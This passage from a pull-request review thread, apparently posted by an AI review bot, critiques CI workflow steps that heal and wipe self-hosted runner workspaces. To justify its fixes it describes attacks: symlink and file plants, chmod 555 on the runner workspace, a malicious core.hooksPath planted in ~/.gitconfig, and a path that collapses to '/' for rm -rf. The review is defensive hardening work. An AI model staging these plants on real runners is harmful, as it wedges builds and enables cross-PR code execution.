Update the two tests to pin the new heal semantics (status 0 or heal-specific failure message, healing workspace path annotation, link unlinked and recreated inside the runner workspace, target untouched) — mirroring the new heals a symlinked intermediate component instead of refusing on it forever witness in ci-runner-routing.test.mjs; the PR's own new tests pin the heal for the byte-identical port, so the suite update is the consistent direction.
Fix witness: the two rewritten tests themselves — they must go red if the intermediate heal's containment/unlink behavior regresses; today they are red against the shipped wipe.
中文说明
本 PR 把 serve-ab.yml 的 wipe 从"拒绝"改为"疗愈"符号链接中间组件，但未改动的消费者 scripts/tests/serve-ab-workflow.test.js 仍钉扎旧的拒绝语义——两个测试在 HEAD 上确定性失败，本 PR 自己的 CI 也因此变红：refuses an allowlist-escaping path reached through an intermediate symlink（期望 'outside the runner workspace'，测试 431 行）与 refuses to heal through an intermediate symlink, before touching anything（期望 'refusing to heal workspace outside the runner workspace'，测试 673 行）。该套件运行于 ci.yml 的 Linux 测试车道（npm run test:ci → vitest，按 scripts/tests/vitest.config.ts 收集；仅 win32 排除），因此 PR 带着红车道交付。
把这两个测试更新为钉扎新的疗愈语义（退出码 0 或疗愈专属失败消息、healing workspace path 注解、链接被解除并在 runner 工作区内重建、目标不受影响）——与 ci-runner-routing.test.mjs 中新的 heals a symlinked intermediate component… 见证保持一致；本 PR 的新测试已为逐字节相同的移植钉扎了疗愈语义，套件更新是唯一自洽的方向。
修复见证：即这两个改写后的测试本身——若中间疗愈的包含性/解除链接行为回归则必须变红；当前它们对已交付的 wipe 即为红色。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| esac | ||
| if [ -n "$HEAL_COMP" ]; then | ||
| HEAL_PREFIX="${HEAL_PREFIX}/${HEAL_COMP}" | ||
| if [ -L "$HEAL_PREFIX" ]; then |
There was a problem hiding this comment.
[Critical] The heal chain's intermediate level heals only SYMLINKED components ([ -L "$HEAL_PREFIX" ]), while the root heal (:154) and the final workspace heal (:241) both handle [ -L ] || [ ! -d ] — two probe-verified wedges escape through the gap (this is location 1 of 2; the final mkdir leg is annotated at line 275):
- A planted regular FILE at an intermediate level survives the walk; the final heal's bare
mkdir "$WS"dies ENOTDIR; the plant survives; every later job repeats — permanent. Probe (two runs): exit 1 both, plant intact. - After the root heal replaces a planted
$RUNNER_WORKSPACEsymlink with a fresh empty dir, the intermediate<repo>parent of the production two-level layout (<rws>/<repo>/<repo>— actions/runnerTrackingConfig.cs+ the fleet's own comment at qwen-code-pr-review.yml:558) no longer exists and is never recreated (the loop repairs only symlinked components), so the finalmkdir -- "$WS"(no-p) dies ENOENT and sinks the job. The runner recreates the dirs at the NEXT job's setup (PipelineDirectoryManager), so the cost is one guaranteed-red job per plant — precisely the job the heal exists to save. Both existing witnesses use a one-level layout (ws = join(rws, 'qwen-code')), which is why they stay green.
witness:
FILE arm: job 1 exit 1 'mkdir: … Not a directory'; plant survived both jobs;
flip ([ -L ] || [ ! -d ] predicate): job 1 exit 0, healed
ROOT arm: two-level layout: 'mkdir: cannot create directory … No such file or directory', exit 1;
second job identical; one-level witness shape exits 0
Extend the intermediate predicate (in both copies; serve-ab.yml:204-206) to mirror the root/final heals — this also recreates MISSING intermediates, closing shape 2:
if [ -L "$HEAL_PREFIX" ] || [ ! -d "$HEAL_PREFIX" ]; then(with a not-a-directory warning arm), or use mkdir -p in the final recreate leg.
Fix witness: new arms next to 'heals a symlinked intermediate component…' (~line 1771) — plant a regular file at the intermediate component, and a root-symlink plant with the two-level layout (ws = join(rws, 'qwen-code', 'qwen-code')), asserting status 0 and a real directory; removing the non-directory arm turns both red.
中文说明
疗愈链的中间层只疗愈符号链接组件（[ -L "$HEAL_PREFIX" ]），而根疗愈（:154）与最终工作区疗愈（:241）都处理 [ -L ] || [ ! -d ]——两个经探针验证的楔子从该缺口逃逸（此为 2 处位置中的第 1 处；最终 mkdir 一支标注在 275 行）：
- 植入在中间层的普通文件逃过遍历；最终疗愈的裸
mkdir "$WS"以 ENOTDIR 死去；植入存活；之后每个作业重复——永久。探针（两次运行）：均退出码 1，植入完好。 - 根疗愈把植入的
$RUNNER_WORKSPACE符号链接替换为全新空目录后，生产两层布局（<rws>/<repo>/<repo>——actions/runnerTrackingConfig.cs与 qwen-code-pr-review.yml:558 的车队注释）的中间<repo>父目录不复存在且永不被重建（该循环只修复符号链接组件），最终裸mkdir -- "$WS"（无-p）以 ENOENT 死去并使作业沉没。runner 会在下一个作业的准备阶段重建目录（PipelineDirectoryManager），因此代价是每次植入必然红掉一个作业——恰恰是疗愈存在所要保住的那个作业。现有两个见证都用一层布局（ws = join(rws, 'qwen-code')），因此保持绿色。
把中间层谓词扩展为与根/最终疗愈一致（两处副本；serve-ab.yml:204-206，见上方代码块，附非目录告警分支）——这同时重建缺失的中间组件，闭合形状 2；或在最终重建一支使用 mkdir -p。
修复见证：在 'heals a symlinked intermediate component…'（约 1771 行）旁新增夹具——在中间组件植入普通文件、以及两层布局下的根符号链接植入（ws = join(rws, 'qwen-code', 'qwen-code')），断言退出码 0 且成为真实目录；移除非目录分支必须使两者变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| # not the last command of an && list is swallowed, and a swallowed | ||
| # one here would leave the wipe running against a corrupt path. | ||
| rm -f -- "$WS" || { echo "::error::refusing to continue: could not remove ${WS}"; exit 1; } | ||
| mkdir -- "$WS" || { echo "::error::refusing to continue: could not recreate ${WS}"; exit 1; } |
There was a problem hiding this comment.
[Critical] Location 2 of 2 for the heal-chain gap (the intermediate predicate is annotated at line 223): the intermediate-component heal repairs only SYMLINKED components, so after the root heal empties $RUNNER_WORKSPACE this bare mkdir -- "$WS" (no -p) dies ENOENT in the production two-level layout (<rws>/<repo>/<repo> — actions/runner TrackingConfig.cs; fleet comment at qwen-code-pr-review.yml:558) and sinks the job the heal exists to save (the runner recreates the dirs only at the NEXT job's setup — one guaranteed-red job per plant, probed twice). Separately, a planted regular FILE at an intermediate level makes this same mkdir die ENOTDIR permanently (probe: exit 1 both runs, plant intact; flip to [ -L ] || [ ! -d ] intermediate healing → exit 0). Fix both copies (serve-ab.yml:257-258): extend the intermediate predicate to [ -L "$HEAL_PREFIX" ] || [ ! -d "$HEAL_PREFIX" ] (recreates missing components too), or use mkdir -p here.
witness:
two-level root arm: 'mkdir: cannot create directory … No such file or directory', exit 1, second job identical
FILE arm: exit 1 'Not a directory', plant survived both jobs; flip: exit 0, healed
Fix witness: the two new arms named at line 223 — removing the non-directory intermediate arm (or -p) turns them red.
中文说明
疗愈链缺口的位置 2/2（中间层谓词标注在 223 行）：中间组件疗愈只修复符号链接组件，因此根疗愈清空 $RUNNER_WORKSPACE 之后，这个裸 mkdir -- "$WS"（无 -p）在生产两层布局（<rws>/<repo>/<repo>——actions/runner TrackingConfig.cs；车队注释见 qwen-code-pr-review.yml:558）中以 ENOENT 死去，使疗愈存在所要保住的作业沉没（runner 仅在下一个作业的准备阶段重建目录——每次植入必然红掉一个作业，已两次探针验证）。另外，在中间层植入普通文件会使同一个 mkdir 以 ENOTDIR 永久失败（探针：两次运行均退出码 1，植入完好；翻转为 [ -L ] || [ ! -d ] 中间疗愈后退出码 0）。两处副本同时修复（serve-ab.yml:257-258）：把中间层谓词扩展为 [ -L "$HEAL_PREFIX" ] || [ ! -d "$HEAL_PREFIX" ]（同时重建缺失组件），或在此使用 mkdir -p。
修复见证：即 223 行所述的两个新夹具——移除非目录中间分支（或 -p）必须使其变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| heal_target="$(printf '%s' "$heal_target" | tr -d '\r\n' | cut -c1-200)" | ||
| echo "::warning::healing workspace path ${HEAL_PREFIX}: it was a symlink" | ||
| printf 'heal: %s pointed at %s\n' "$HEAL_PREFIX" "$heal_target" | ||
| rm -f -- "$HEAL_PREFIX" || { echo "::error::refusing to continue: could not remove ${HEAL_PREFIX}"; exit 1; } |
There was a problem hiding this comment.
[Critical] The heals need write permission on the PARENT directory to rm -f/mkdir, but nothing ever restores permissions on the ancestor chain between $RUNNER_WORKSPACE and $GITHUB_WORKSPACE: 'Restore workspace ownership' chmod/chowns only $GITHUB_WORKSPACE downward (verified: exactly those sites plus $RUNNER_TEMP in both workflows), and the wipe's heals are deliberately sudo-less ('After the ownership-restore step everything is user-owned, so no sudo'). A same-uid job — contributor code on the exact lanes this PR routes onto the pool — can chmod 555 "$RUNNER_WORKSPACE" with no privilege after planting a symlinked intermediate; the next job's ownership step heals harmlessly THROUGH the link into the attacker tree (exit 0, RWS mode still 555), then this heal's rm -f dies EACCES and the fail-closed exit 1 leaves the plant alive — every later serve-ab/visuals job on that runner dies at this line, permanently. (Copy: web-shell-visuals.yml:228.)
witness (uid 1000, real parsed steps, two simulated jobs per row):
Row A (planted link + chmod 555 rws): ownership-restore exit 0, RWS-mode-after=555;
wipe exit 1 'could not remove …/rws/org'; job N+2 identical, plant link still there
Row B (fleet direct-child layout): wipe exit 1 'could not remove …/rws/qwen-code', plant intact
flip (chmod u+rwx -- "$RWS" before heals): exit 0, plant gone, job N+2 clean
Restore owner write on the bounded ancestor chain before the heals — in the ownership-restore step, walk from dirname "$GITHUB_WORKSPACE" up to and including $RUNNER_WORKSPACE and chmod u+rwx each component (every path in the chain is already containment-judged by the ancestor walk); keep the fail-closed exit for parents above $RUNNER_WORKSPACE.
Fix witness: add a case planting a symlinked intermediate component plus chmod 555 on $RUNNER_WORKSPACE, asserting the job heals instead of exiting 'could not remove'; removing the ancestor-chain chmod turns it red.
中文说明
疗愈需要父目录的写权限才能 rm -f/mkdir，但没有任何东西恢复 $RUNNER_WORKSPACE 与 $GITHUB_WORKSPACE 之间祖先链的权限：'Restore workspace ownership' 只对 $GITHUB_WORKSPACE 向下 chmod/chown（已验证：两个 workflow 中恰好只有这些位置外加 $RUNNER_TEMP），而 wipe 的疗愈刻意不用 sudo（"属主修复之后一切均为用户所有，无需 sudo"）。同 uid 的作业——正是本 PR 路由到池上的车道所运行的贡献者代码——可以在植入符号链接中间组件后无需特权地 chmod 555 "$RUNNER_WORKSPACE"；下一个作业的属主修复步骤透过链接无害地作用在攻击者的树上（退出码 0，RWS 模式仍为 555），随后本疗愈的 rm -f 以 EACCES 死去，失败即关闭的退出码 1 使植入存活——该 runner 之后每个 serve-ab/visuals 作业都死在这一行，永久。（副本：web-shell-visuals.yml:228。）
在疗愈之前恢复有界祖先链的属主写权限——在属主修复步骤中，从 dirname "$GITHUB_WORKSPACE" 向上遍历到（含）$RUNNER_WORKSPACE，对每个组件 chmod u+rwx（链上每条路径都已被祖先遍历做过包含性判断）；对 $RUNNER_WORKSPACE 之上的父目录保持失败即关闭的退出。
修复见证：新增植入符号链接中间组件并对 $RUNNER_WORKSPACE chmod 555 的用例，断言作业完成疗愈而非以 'could not remove' 退出；移除祖先链 chmod 必须使其变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
|
🔀 Base updated: red check(s) [Test (ubuntu-latest, Node 22.x), web-shell E2E Smoke (ubuntu-latest, Node 22.x)] pass on current main — merged current main via update-branch; CI will re-run. 中文说明🔀 已更新 base：红色检查 [Test (ubuntu-latest, Node 22.x), web-shell E2E Smoke (ubuntu-latest, Node 22.x)] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main，CI 将重新运行。 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
6 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- serve-ab.yml size-baseline under-recorded (25994 vs 28608) — already reported (round-9 deferred list, review 5055259719)
- root-heal denylist omits system roots — already reported (round-7 deferred list, review 5050173882; round-8 deferred list, review 5052917476)
- ffmpeg comment re-asserts the disproved uniform-RHEL premise — already reported (round-4 deferred list, review 5037369574)
- npm-cache witness arms never exercise a failing rm -f — already reported (round-9 deferred list, review 5055259719)
- case-insensitive ambient-secret matcher bypass — already reported (round-6 deferred list, review 5044230016; round-8 body note, review 5052917476)
- ambient-secret allowlist is value-only, never positional — already reported (round-9 deferred list, review 5055259719)
Unresolved, please confirm:
- [Critical] R9-4
.github/workflows/web-shell-visuals.yml:275— the baremkdirENOENT wedge is verified present in code and its mechanism probe-verified, but whether the pool daemon supplies GITHUB_WORKSPACE >= 2 components below RUNNER_WORKSPACE is…
Not reviewed: reverse audit — stopped at the round cap of 5 without converging (rounds 1-5 each reported findings; the pool-hygiene surface kept producing new entrances).
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
4 fails-closed, new-surface Critical(s) were drafted inline past the resolved critical posting floor; the CLI moved them into the deferral list below (floor enforcement).
Deferred under the convergence posture (round 10, not a blocker) — recorded, not requested in this round; 4 Critical(s) among them are deferred by their axes — fails-closed on new surface, where no wrong result is certified and the merge base had neither the surface nor the defect — and remain follow-up work recorded in the findings artifact:
.github/workflows/web-shell-visuals.yml:223 — [review] Critical [fails-closed] [new-surface] R9-3: Re-check of round-9 blocker R9-3: still stands. The heal chain's intermediate level heals only SYMLINKED components ( [ -L "$HEAL_PREFIX" ] ,….github/workflows/serve-ab.yml:211 — [review] Critical [fails-closed] [new-surface] R9-5: Re-check of round-9 blocker R9-5: still stands. The heals need write permission on the PARENT directory to rm -f / mkdir , but nothing restores permi….github/workflows/web-shell-visuals.yml:475 — [review] Critical [fails-closed] [new-surface] R8-5: Re-check of round-9 blocker R8-5: still stands. The Playwright browser-cache provenance wipe is still a fail-closed bare rm -rf … || exit 1 ….github/workflows/web-shell-visuals.yml:368 — [review] Critical [fails-closed] [new-surface] R5-1: Re-check of round-9 blocker R5-1: the kept- .git planted-state class is still open. The round-10 wholesale redesign closed the symlink/lock/….github/workflows/web-shell-visuals.yml:466 — [probe] chrome-headless-shell scan arm has no witness — runInstallStep stubs create only headless_shell/chrome.github/workflows/web-shell-visuals.yml:241 — [probe] workspace-heal symlink arm ([ -L "$WS" ]) has no exec witness — mutation-proven.github/scripts/ci-runner-routing.test.mjs:361 — [probe] assertSecretFree misses the github.token alias of the job token.github/scripts/ci-runner-routing.test.mjs:1120 — [probe] env-override scan omits RUNNER_WORKSPACE, the wipe's containment root
Convergence: round 10 posted 7 inline comment(s), 4 of them reported for the first time; the previous round posted 8 (7 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in rounds 5, 8, 9; 3 more now); .github/workflows/serve-ab.yml (findings in round 9; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 6 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未决，请确认：共 1 条（原文未翻译，列表见上方英文部分）。
未审查：reverse audit — stopped at the round cap of 5 without converging (rounds 1-5 each reported findings; the pool-hygiene surface kept producing new entrances)。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
4 条 fails-closed 且 new-surface 的 Critical 在已解析的 critical 发布下限之外被起草为行内评论；CLI 已将其移入下方延后清单（下限强制执行）。
收敛姿态下延后（第 10 轮，非阻断）——已记录，本轮不要求修改；其中 4 条 Critical 按其失败方向与对照基线延后——fails-closed 且 new-surface：未认证任何错误结果，且 merge base 既无该功能面也无该缺陷——作为后续工作记录在 findings 工件中：共 8 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 10 轮发布了 7 条行内评论，其中 4 条是首次提出；上一轮发布了 8 条（其中 7 条首次提出）。发现反复回到同一批文件：.github/workflows/web-shell-visuals.yml（第 5、8、9 轮已出过发现，本轮又有 3 条）；.github/workflows/serve-ab.yml（第 9 轮已出过发现，本轮又有 1 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
机制健康：本轮未能干净收尾，因而扣留了增量锚点，而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff，除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上；并会一直如此，直到某一轮的标记重新带上锚点，或落地的嫁接能被运行该轮的评审使用。（仅陈述，不据此行动——这不改变本轮发布的任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.2)
| # because it bounds what the heal may touch: canonical, slash-free | ||
| # and non-degenerate. An empty $RUNNER_WORKSPACE would turn every | ||
| # containment pattern below into the match-all "/*". | ||
| RWS="$(realpath -m -- "$RWS" 2>/dev/null)" || { echo "::error::refusing to wipe: realpath unavailable, cannot canonicalize ${RUNNER_WORKSPACE}"; exit 1; } |
There was a problem hiding this comment.
[Critical] R9-1: [certifies-falsely] [regression] Re-check of round-9 blocker R9-1: still stands. The restructure moved RWS canonicalization here (realpath -m + trailing-slash strip), but the degenerate-root refusal [ -z "$RWS" ] (serve-ab.yml:114; byte-identical copy web-shell-visuals.yml:131) still checks only the RAW path — exactly one occurrence per file, pre-canonicalization only. A RUNNER_WORKSPACE that collapses to / only AFTER canonicalization (/home/.. — non-empty, absolute, [ -d ] true, ancestors not symlinks, so it passes every raw guard) reaches every containment pattern as an empty string: "$RWS"/* degenerates to the match-all /* in the intermediate heal, the workspace-heal parent check, and the final wipe allowlist, and a mangled GITHUB_WORKSPACE outside the runner workspace is wiped by find … -exec rm -rf with exit 0 — deletion beyond the containment this step exists to enforce. The merge base ordered realpath → strip → -z and refused this input; this diff's reordering introduced the regression. The sibling spelling /./ reaches the same collapse (verified by execution).
Witness:
PR-degenerate (RUNNER_WORKSPACE=/home/..): exit=0 canary=WIPED output=[]
PR-sane: exit=1 canary=alive output=[::error::refusing to wipe workspace outside the runner workspace: ...]
BASE-degenerate (merge-base ordering): exit=1 canary=alive output=[::error::refusing to wipe: runner workspace resolved to /]
Re-add the refusal immediately after the second strip, in both copies:
if [ -z "$RWS" ]; then echo "::error::refusing to wipe: runner workspace resolved to /"; exit 1; fiA blanket raw-.. refusal would be wrong — the suite pins that a ..-spelled RWS resolving to a real parent still wipes ('canonicalizes a ..-spelled runner workspace instead of refusing it', scripts/tests/serve-ab-workflow.test.js:575). Fix witness: an exec test beside the existing 'refuses a runner workspace that resolves to /' using a value that only collapses post-canonicalization (/home/.. or /./), asserting non-zero exit and no rm outside the runner workspace — removing the restored check must turn it red.
中文说明
R9-1 复审:仍然存在。重构把 RWS 规范化移到这里(realpath -m + 去尾斜杠),但退化根拒绝 [ -z "$RWS" ](serve-ab.yml:114;web-shell-visuals.yml:131 为逐字节相同的副本)仍然只检查原始路径——每个文件恰好一处,且只在规范化之前。一个仅在规范化之后才塌缩为 / 的 RUNNER_WORKSPACE(/home/..——非空、绝对路径、[ -d ] 为真、祖先无符号链接,因此通过所有原始守卫)会以空串进入每个包含性模式:"$RWS"/* 在中间疗愈、工作区疗愈父检查与最终擦除 allowlist 中退化为全匹配 /*,被污染的 GITHUB_WORKSPACE(runner 工作区之外)会被 find … -exec rm -rf 以退出码 0 删除——越出了本步骤存在所要强制的包含性。合并基上的顺序为 realpath → 去斜杠 → -z,会拒绝该输入;本 diff 的重排引入了该回归。兄弟拼写 /./ 同样可达该塌缩(已执行验证)。
修复:在两处副本的去斜杠之后立即补回拒绝(见上方代码块)。全面的原始 .. 拒绝是错的——套件钉扎了能解析到真实父目录的 .. 拼写 RWS 仍要擦除('canonicalizes a ..-spelled runner workspace instead of refusing it',scripts/tests/serve-ab-workflow.test.js:575)。修复见证:在现有 'refuses a runner workspace that resolves to /' 旁新增仅在规范化后才塌缩的输入(/home/.. 或 /./)的执行测试,断言非零退出且无工作区外的删除;移除补回的检查必须使其变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if [ -L "$HEAL_PREFIX" ]; then | ||
| heal_target="$(readlink -- "$HEAL_PREFIX" 2>/dev/null || printf '%s' '<unreadable>')" | ||
| heal_target="$(printf '%s' "$heal_target" | tr -d '\r\n' | cut -c1-200)" | ||
| echo "::warning::healing workspace path ${HEAL_PREFIX}: it was a symlink" |
There was a problem hiding this comment.
[Critical] R9-2: Re-check of round-9 blocker R9-2: still stands. This PR changes serve-ab.yml's wipe to HEAL a symlinked intermediate component, but the untouched consumer scripts/tests/serve-ab-workflow.test.js still pins the old REFUSAL semantics — two tests fail deterministically at HEAD, and this PR's own CI is red on them: refuses an allowlist-escaping path reached through an intermediate symlink (expects 'outside the runner workspace') and refuses to heal through an intermediate symlink, before touching anything (expects 'refusing to heal workspace outside the runner workspace'). The lane is wired into CI: test:ci → test:scripts → ci.yml Linux test job (required check; win32-only exclusion), so the PR ships with a red lane.
Witness:
npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/serve-ab-workflow.test.js
→ Tests 2 failed | 21 passed (23), heal annotation firing where refusal is asserted
Update the two tests to pin the new heal semantics (status 0 or a heal-specific failure message, the healing workspace path annotation, the link unlinked and recreated inside the runner workspace, target untouched) — mirroring the new heals a symlinked intermediate component instead of refusing on it forever witness in ci-runner-routing.test.mjs; this PR's own new tests pin the heal for the byte-identical port, so the suite update is the consistent direction. Fix witness: the two rewritten tests themselves — they must go red if the intermediate heal's containment/unlink behavior regresses; today they are red against the shipped wipe. Fix premise: the heal's counterpart is pinned in the opposite direction by this PR's own exec witness 'heals a symlinked intermediate component instead of refusing on it forever' (.github/scripts/ci-runner-routing.test.mjs).
中文说明
R9-2 复审:仍然存在。本 PR 把 serve-ab.yml 的 wipe 从"拒绝"改为"疗愈"符号链接中间组件,但未改动的消费者 scripts/tests/serve-ab-workflow.test.js 仍钉扎旧的拒绝语义——两个测试在 HEAD 上确定性失败,本 PR 自己的 CI 也因此变红:refuses an allowlist-escaping path reached through an intermediate symlink(期望 'outside the runner workspace')与 refuses to heal through an intermediate symlink, before touching anything(期望 'refusing to heal workspace outside the runner workspace')。该套件经 test:ci → test:scripts 接入 ci.yml 的 Linux 测试作业(必需检查;仅 win32 排除),因此 PR 带着红车道交付。
修复:把这两个测试更新为钉扎新的疗愈语义(退出码 0 或疗愈专属失败消息、healing workspace path 注解、链接被解除并在 runner 工作区内重建、目标不受影响)——与 ci-runner-routing.test.mjs 中新的 heals a symlinked intermediate component instead of refusing on it forever 见证保持一致;本 PR 的新测试已为逐字节相同的移植钉扎了疗愈语义,套件更新是唯一自洽的方向。修复见证:即这两个改写后的测试本身——若中间疗愈的包含性/解除链接行为回归则必须变红;当前它们对已交付的 wipe 即为红色。修复前提:本 PR 自身的执行见证已在相反方向钉扎了该疗愈行为。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| # here) or a symlink (every later job's cache writes land at the | ||
| # link's target). Heal the pathological spellings before use — | ||
| # the cache is an optimization, not a gate, so fail open. | ||
| if [ -L "${cache_dir}" ] || { [ -e "${cache_dir}" ] && [ ! -d "${cache_dir}" ]; }; then |
There was a problem hiding this comment.
[Critical] R8-2: [certifies-falsely] [new-surface] Re-check of round-9 blocker R8-2: still stands. The npm-cache heal is byte-for-byte the shape R8-2 adjudicated — leaf-only condition, unchecked rm -f under the wrapper's bash -eo pipefail, no permission heal, no write probe gating the NPM_CONFIG_CACHE export — and all four probe-verified defeats remain open: (1) unwritable parent (chmod 555) + file leaf: rm -f dies EACCES and aborts the step — a permanent wedge for a step whose comment promises fail-open; (2) a symlink planted on the INTERMEDIATE component (~/.cache/qwen-code) bypasses the leaf-only condition and NPM_CONFIG_CACHE is exported through the attacker tree — silent write-through of every later job's cache; (3) a DIRECTORY leaf with mode 000 passes the condition, gets exported, and every later npm ci dies EACCES; (4) a hostile-permission _cacache one level below a healthy leaf passes identically.
Witness:
shape1 (555 parent + file leaf): job1 exit=1 exported=no leaf=file last=[rm: cannot remove '.../npm': Permission denied]; job2 identical
shape2 (symlink on intermediate): exit=0 exported=YES attackerTree=[npm] NPM_CONFIG_CACHE=.../qwen-code/npm
shape3 (mode-000 dir leaf): exit=0 exported=YES leafMode=0 npmWriteProbe=EACCES
shape4 (hostile _cacache below healthy leaf): exit=0 exported=YES cacacheSymlink=YES indexMode=0
Stop enumerating plant shapes — gate the export on actual usability: heal permissions first (chmod -R u+rwX "${cache_dir}" 2>/dev/null || true), then require a real write probe inside the tree before appending NPM_CONFIG_CACHE; on probe failure warn and degrade to the default cache (the step's own 'optimization, not a gate' taxonomy). Fix witness: extend the heal witness arms with the four plants above, asserting step exit 0 and no NPM_CONFIG_CACHE export onto an unusable cache; removing the write-probe/chmod guard turns each arm red.
中文说明
R8-2 复审:仍然存在。npm 缓存疗愈与 R8-2 裁定的形态逐字节相同——仅检查叶子、在包装器 bash -eo pipefail 下未检查的 rm -f、无权限疗愈、导出 NPM_CONFIG_CACHE 前无写探测——四种经探针验证的击败方式全部仍然开放:(1) 不可写父目录(chmod 555)+ 文件叶子:rm -f 以 EACCES 死去并中止步骤——对一个注释承诺失败即开放的步骤是永久卡死;(2) 植入在中间组件(~/.cache/qwen-code)上的符号链接绕过仅叶子条件,NPM_CONFIG_CACHE 经攻击者树导出——之后每个作业的缓存写入被静默直通;(3) 模式 000 的目录叶子通过条件并被导出,之后每个 npm ci 以 EACCES 死去;(4) 健康叶子下一层的恶意权限 _cacache 同样通过。
修复:停止枚举植入形态——以实际可用性为导出门槛:先疗愈权限(chmod -R u+rwX "${cache_dir}" 2>/dev/null || true),再要求树内真实写探测通过后才追加 NPM_CONFIG_CACHE;探测失败则告警并降级到默认缓存(即该步骤自述的"优化而非门槛"分类)。修复见证:用上述四种植入扩展疗愈见证分支,断言步骤退出码 0 且不向不可用缓存导出 NPM_CONFIG_CACHE;移除写探测/chmod 守卫必须使每个分支变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| rm -rf "$WS/.git/hooks" "$WS/.git/info/attributes" | ||
| rm -rf "$(git --git-dir="$WS/.git" rev-parse --git-path config.worktree 2>/dev/null || echo /nonexistent)" 2>/dev/null || true | ||
| git --git-dir="$WS/.git" config --local --unset-all extensions.worktreeConfig 2>/dev/null || true | ||
| { git --git-dir="$WS/.git" config --local --name-only --list 2>/dev/null || true; } | { grep -ivE '^(core\.(repositoryformatversion|bare|filemode|symlinks|ignorecase|precomposeunicode|logallrefupdates|hidedotfiles|protecthfs|protectntfs)|remote\..+\.(url|fetch|pushurl)|branch\.|gc\.|pack\.|fetch\.|index\.|safe\.|submodule\.[^.]+\.(url|active|branch))' || true; } | while IFS= read -r key; do git --git-dir="$WS/.git" config --local --unset-all "$key" 2>/dev/null || true; done |
There was a problem hiding this comment.
[Critical] R10-1: [certifies-falsely] [new-surface] The kept-.git defang scrubs only --local scope; the runner user's GLOBAL/SYSTEM git config (~/.gitconfig, ~/.config/git/config, /etc/gitconfig) is never neutralized, and actions/checkout v6.0.3 COPIES $HOME/.gitconfig into its temp HOME (git-auth-helper.ts:85-125, unconditional on persist-credentials) rather than isolating from it. A prior pool job — same-repo or write-access-fork PR code, or a compromised dependency; the step's own threat model — writes [core] hooksPath = ~/.evil-hooks + an executable hook into ~/.gitconfig (no sudo needed; $HOME persists across jobs on the pool). The next job's wipe exhaustively defangs $WS/.git and never reads $HOME; the hook fires DURING the wipe's own git update-ref -d (reference-transaction hook), and Checkout PR head's git checkout --force fires post-checkout — cross-PR code execution before npm ci, in a job carrying the merge-base step's GITHUB_TOKEN. The merge-base checkout (fresh gitdir, no local config) is hit identically, so discarding the kept .git (R5-1's structural fix) does NOT close this. The exec witnesses are structurally blind: wipeGitEnv gives every fixture a fresh HOME + GIT_CONFIG_NOSYSTEM=1, so the suite certifies a step that is open in production. (Recorded in the round-8 deferred list as 'HOME-scope hygiene'; this round two auditors independently confirmed with live probes and escalate to Critical.)
Witness:
ARM=attack: wipe exit: 0 | hook fired DURING wipe step: YES
global hooksPath still configured after wipe: /tmp/ra-a-zFzR4r/evil-hooks
checkout exit: 0 | post-checkout hook fired: YES
wipe stderr: REFERENCE-TRANSACTION HOOK FIRED (prepared|committed|aborted)
checkout stderr: POST-CHECKOUT HOOK FIRED
ARM=control: hook fired DURING wipe step: no | post-checkout hook fired: no
Neutralize the global/system scope with the env-bypass shape the fleet already uses (repo-hygiene.yml:822-823): publish GIT_CONFIG_GLOBAL=/dev/null and GIT_CONFIG_SYSTEM=/dev/null via $GITHUB_ENV so the wipe and both checkout steps see them (a step-level export does not reach later steps), and/or scrub both global files the way qwen-autofix.yml:673 does. Fix premise: git's global scope spans TWO files — "${HOME}/.gitconfig" and "${XDG_CONFIG_HOME:-${HOME}/.config}/git/config" (qwen-autofix.yml:673); a scrub touching only one leaves the class open, and the sudo-less wipe cannot close /etc/gitconfig at all — only the env-bypass shape does. Fix witness: a kept-.git-style exec witness in ci-runner-routing.test.mjs that plants ${home}/.gitconfig with core.hooksPath (fixture HOME, no GIT_CONFIG_NOSYSTEM), runs runWipeStep then the follow-up checkout, and asserts the hook marker does not exist; removing the new neutralization turns it red.
中文说明
